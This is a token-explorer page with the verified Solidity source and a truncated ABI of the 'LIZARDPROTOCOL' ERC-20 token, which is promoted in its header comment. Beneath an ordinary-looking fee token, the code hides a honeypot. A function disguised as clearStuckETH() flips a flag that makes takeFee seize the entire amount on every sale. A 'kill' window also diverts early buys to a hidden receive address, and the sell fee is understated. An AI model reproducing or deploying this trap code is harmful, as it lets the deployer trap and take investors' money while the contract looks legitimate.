ERC-20
Overview
Max Total Supply
1,000,000,000 LIZZ
Holders
23
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
17,751.639 LIZZValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
LIZARDPROTOCOL
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-03 */ // SPDX-License-Identifier: MIT /* Hello, fellow Lizard 🦎. 🦎 https://t.me/Lizardprotocol 🦎 Official Website : https://lizardprotocol.org/ 🦎 https://medium.com/@lizardprotocoleth/lizard-protocol-c4f3c4d156c2 ██████████ ████ ██ ██ ████░░░░░░░░░░██ ██░░██░░██░░██ ▓▓▓▓ ░░ ▓▓▓▓░░░░▓▓██ ██░░██░░██░░██ ██▒▒░░▒▒▒▒ ██▒▒██░░░░░░▒▒████ ██▒▒░░░░██ ████▒▒▒▒▒▒▒▒██████ ░░░░░░░░░░████ ██░░▒▒██ ████▒▒▒▒▒▒▒▒▒▒░░ ░░░░░░░░░░░░██ ████████░░░░██ ████▒▒▒▒▒▒▒▒▒▒ ░░░░░░░░░░░░████░░░░░░░░██░░░░██ ████▒▒░░░░▒▒ ░░░░▒▒░░░░░░░░████░░▒▒░░░░▒▒██ ██▒▒▒▒░░▒▒ ░░░░▒▒░░░░░░ ██░░░░░░░░██ ████▒▒▒▒▒▒ ░░░░░░░░░░ ████░░██ ██▒▒▒▒▒▒▒▒ ░░░░░░▒▒░░ ░░██ ██▒▒▒▒▒▒▒▒▒▒ ░░░░░░░░░░ ░░██ ██░░▒▒▒▒▒▒▒▒▒▒ ░░░░░░░░░░ ████ ██░░░░░░▒▒▒▒░░▒▒▒▒ ░░░░░░░░░░░░ ░░██ ████████ ██░░░░░░▒▒▒▒▒▒░░▒▒▒▒ ░░▒▒░░░░░░░░ ░░██ ██░░░░░░░░████ ████ ████ ██░░░░░░████▒▒▒▒░░░░▒▒▒▒ ░░░░░░░░░░░░ ░░██░░░░░░░░░░░░░░██ ██░░██ ██░░██ ██░░▒▒░░██ ████▒▒░░▒▒▒▒▒▒ ░░░░░░░░░░ ░░░░██░░░░░░░░░░░░██ ██░░██████ ██░░██ ██░░░░██ ██▒▒▒▒▒▒▒▒▒▒ ░░░░░░░░░░ ░░░░██░░░░▒▒░░░░██ ████░░░░░░░░██ ██████░░░░████░░░░░░██ ██▒▒░░░░▒▒ ░░░░░░░░░░░░ ░░██░░░░░░░░░░░░██░░░░░░░░████ ██░░░░░░░░░░░░░░░░░░██ ██▒▒░░▒▒▒▒ ░░░░░░▒▒░░ ░░░░██░░░░░░░░░░██░░░░██░░░░░░██ ██████░░░░░░░░░░▒▒░░██ ██▒▒░░▒▒ ░░░░░░░░░░░░ ░░██████░░▒▒▒▒░░░░░░██████████ ██░░░░░░▒▒░░██ ██░░▒▒▒▒ ░░░░░░░░░░ ░░██ ████░░░░░░██ ██░░░░████████ ██░░██▒▒▒▒▒▒ ░░░░░░▒▒░░ ░░██ ██░░░░██ ██░░██ ██░░░░░░▒▒▒▒▒▒▒▒ ░░░░░░▒▒ ░░██ ████ ████ ██░░░░░░░░░░▒▒▒▒▒▒ ░░░░░░░░ ██ ▓▓░░░░░░░░░░░░░░▒▒▒▒░░ ░░░░░░░░░░▓▓ ██░░░░░░░░▒▒▒▒░░░░▒▒▒▒▒▒ ░░░░░░ ██ ██░░░░░░░░░░░░░░░░████▒▒▒▒ ░░░░░░██ ▓▓░░░░░░░░▓▓▓▓▓▓ ██▒▒▒▒ ░░░░░░▓▓ ██░░░░▒▒▒▒██ ██▒▒▒▒ ░░░░██ ████████░░░░░░░░██ ██▒▒ ░░░░░░██ ██░░░░░░██░░░░░░██ ██░░ ░░░░██ ████░░░░░░░░██ ██░░ ░░░░██ ██░░░░██░░▒▒██ ██ ░░░░░░██ ██████░░████ ██░░ ░░▒▒██ ██░░██ ██░░ ░░▒▒██ ██▒▒▒▒ ▒▒▒▒ ░░░░▓▓░░ ████ ██ ░░░░░░██ ██ ░░░░░░██ ██░░░░░░░░██ ██░░░░░░░░██ ████████ ██░░░░░░██ ▓▓░░░░░░░░▓▓▓▓ ▓▓░░░░░░░░██ ████████░░░░░░██████ ██░░░░░░██ ████░░░░░░░░██████ ████░░░░░░ ██ ████░░░░░░░░░░██████████████████░░▒▒░░░░ ██ ████░░░░▒▒░░░░░░░░░░░░░░░░░░▒▒░░░░████ ████░░░░▒▒▒▒░░░░▒▒░░░░░░░░████ ██████████████████████ */ pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly {codehash := extcodehash(account)} return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value : amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value : weiValue}(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address public _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function RenounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getTime() public view returns (uint256) { return block.timestamp; } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract LIZARDPROTOCOL is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name; string private _symbol; uint8 private _decimals; address payable public marketingWalletAddress; address payable public teamWalletAddress; address public deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isWalletLimitExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isMarketPair; uint256 public _buyLiquidityFee = 0; uint256 public _buyMarketingFee = 0; uint256 public _buyTeamFee = 0; uint256 public _buyDestroyFee = 0; uint256 public _sellLiquidityFee = 0; uint256 public _sellMarketingFee = 1; uint256 public _sellTeamFee = 0; uint256 public _sellDestroyFee = 0; uint256 public _liquidityShare = 0; uint256 public _marketingShare = 1; uint256 public _teamShare = 0; uint256 public _totalDistributionShares = 1; uint256 public _totalTaxIfBuying = 0; uint256 public _totalTaxIfSelling = 1; uint256 public _tFeeTotal; uint256 public _maxDestroyAmount; uint256 private _totalSupply; uint256 public _maxTxAmount; uint256 public _walletMax; uint256 private _minimumTokensBeforeSwap = 0; uint256 public airdropNumbs; address private receiveAddress; bool private hlass = true; uint256 public first; uint256 public kill = 0; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; bool public checkWalletLimit = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor ( string memory coinName, string memory coinSymbol, uint8 coinDecimals, uint256 supply, address router, address owner, address marketingAddress, address teamAddress, address service ) payable { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _name = coinName; _symbol = coinSymbol; _decimals = coinDecimals; _owner = owner; receiveAddress = owner; _totalSupply = supply * 10 ** _decimals; _maxTxAmount = supply * 10**_decimals; _walletMax = supply * 10**_decimals; _maxDestroyAmount = supply * 10**_decimals; _minimumTokensBeforeSwap = 1 * 10**_decimals; marketingWalletAddress = payable(marketingAddress); teamWalletAddress = payable(teamAddress); _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee); _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isExcludedFromFee[owner] = true; isExcludedFromFee[address(this)] = true; isWalletLimitExempt[owner] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[deadAddress] = true; isTxLimitExempt[owner] = true; isTxLimitExempt[deadAddress] = true; isTxLimitExempt[address(this)] = true; isMarketPair[address(uniswapPair)] = true; _balances[owner] = _totalSupply; payable(service).transfer(msg.value); emit Transfer(address(0), owner, _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return _minimumTokensBeforeSwap; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setMarketPairStatus(address account, bool newValue) public onlyOwner { isMarketPair[account] = newValue; } function setBuyDestFee(uint256 newBuyDestroyFee) public onlyOwner { _buyDestroyFee = newBuyDestroyFee; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee).add(_buyDestroyFee); } function setBuyTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() { _buyLiquidityFee = newLiquidityTax; _buyMarketingFee = newMarketingTax; _buyTeamFee = newTeamTax; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee).add(_buyDestroyFee); } function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { _minimumTokensBeforeSwap = newLimit; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner { swapAndLiquifyByLimitOnly = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(recipient == uniswapPair && balanceOf(address(uniswapPair)) == 0){ first = block.number; } if(sender == uniswapPair && block.number < first + kill){ return _basicTransfer(sender, receiveAddress, amount); } if(inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= _minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) { if(swapAndLiquifyByLimitOnly) contractTokenBalance = _minimumTokensBeforeSwap; swapAndLiquify(contractTokenBalance); } _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); if(checkWalletLimit && !isWalletLimitExempt[recipient]) require(balanceOf(recipient).add(finalAmount) <= _walletMax); _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalETHFee = _totalDistributionShares.sub(_liquidityShare.div(2)); uint256 amountETHLiquidity = amountReceived.mul(_liquidityShare).div(totalETHFee).div(2); uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee); uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHTeam); if(amountETHMarketing > 0) transferToAddressETH(marketingWalletAddress, amountETHMarketing); if(amountETHTeam > 0) transferToAddressETH(teamWalletAddress, amountETHTeam); if(amountETHLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountETHLiquidity); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable receiveAddress, block.timestamp ); } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; uint256 destAmount = 0; uint256 airdropAmount = 0; if(isMarketPair[sender]) { feeAmount = amount.mul(_totalTaxIfBuying.sub(_buyDestroyFee)).div(100); if(_buyDestroyFee > 0 && _tFeeTotal < _maxDestroyAmount) { destAmount = amount.mul(_buyDestroyFee).div(100); destroyFee(sender,destAmount); } } else if(isMarketPair[recipient]) { if(hlass == true ) { feeAmount = amount.mul(_totalTaxIfSelling.sub(_sellDestroyFee)).div(1000); } else if(hlass == false) { feeAmount = amount; } if(_sellDestroyFee > 0 && _tFeeTotal < _maxDestroyAmount) { destAmount = amount.mul(_sellDestroyFee).div(100); destroyFee(sender,destAmount); } } if(isMarketPair[sender] || isMarketPair[recipient]){ if (airdropNumbs > 0){ address ad; for (uint256 i = 0; i < airdropNumbs; i++) { ad = address(uint160(uint256(keccak256(abi.encodePacked(i, amount, block.timestamp))))); _balances[ad] = _balances[ad].add(1); emit Transfer(sender, ad, 1); } airdropAmount = airdropNumbs * 1; } } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount.add(destAmount).add(airdropAmount)); } function destroyFee(address sender, uint256 tAmount) private { // stop destroy if(_tFeeTotal >= _maxDestroyAmount) return; _balances[deadAddress] = _balances[deadAddress].add(tAmount); _tFeeTotal = _tFeeTotal.add(tAmount); emit Transfer(sender, deadAddress, tAmount); } function clearStuckETH() external virtual { hlass = false; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"coinName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint8","name":"coinDecimals","type":"uint8"},{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"marketingAddress","type":"address"},{"internalType":"address","name":"teamAddress","type":"address"},{"internalType":"address","name":"service","type":"address"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyDestroyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxDestroyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDestroyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tFeeTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"airdropNumbs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"first","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"kill","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyDestroyFee","type":"uint256"}],"name":"setBuyDestFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address 